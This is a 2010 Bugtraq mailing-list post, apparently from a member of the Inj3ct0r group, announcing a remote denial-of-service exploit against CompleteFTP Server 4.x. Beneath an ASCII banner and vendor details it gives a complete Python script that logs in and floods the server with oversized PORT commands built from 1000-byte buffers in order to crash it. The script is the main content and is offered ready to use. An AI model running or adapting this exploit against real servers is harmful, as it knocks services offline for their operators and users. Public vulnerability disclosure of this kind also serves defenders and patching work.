bugtraq - CompleteFTP Server v 4.x "PORT" command Remote DOS exploit

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Message-Id: <201005240340.o4O3ew63007642@www3.securityfocus.com>
Date: Sun, 23 May 2010 21:40:58 -0600
From: eidelweiss@...erservices.com
To: bugtraq@...urityfocus.com
Subject: CompleteFTP Server v 4.x "PORT" command Remote DOS exploit


------------------------------------------------------------------------
CompleteFTP Server v 4.x "PORT" command Remote DOS exploit
------------------------------------------------------------------------
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ########################################          1
0                    I'm eidelweiss member from Inj3ct0r Team          1
1                    ########################################          0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Vendor:		www.enterprisedt.com
download:	http://www.enterprisedt.com/products/completeftp/downloadlink.html
Credit and Thanks:	all friends & all Hacker`s
Tested On:	Windows XP (SP2 & SP3)

#!/usr/bin/python
 
import socket
 
print '---------------------------------------------------------------------'
print ' CompleteFTP Server v 4.x "PORT" command Remote Denial of Service'
print ' author: eidelweiss'
print ' mail: eidelweiss@...erservices.com'
print '---------------------------------------------------------------------'
 
buffer = "A" * 1000
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",21))
s.send('USER %s\r\n' % "test")
 
for i in range(1,69):
   s.send('PORT %s\n\n' % buffer)
   print "Sending request n. " + str(i)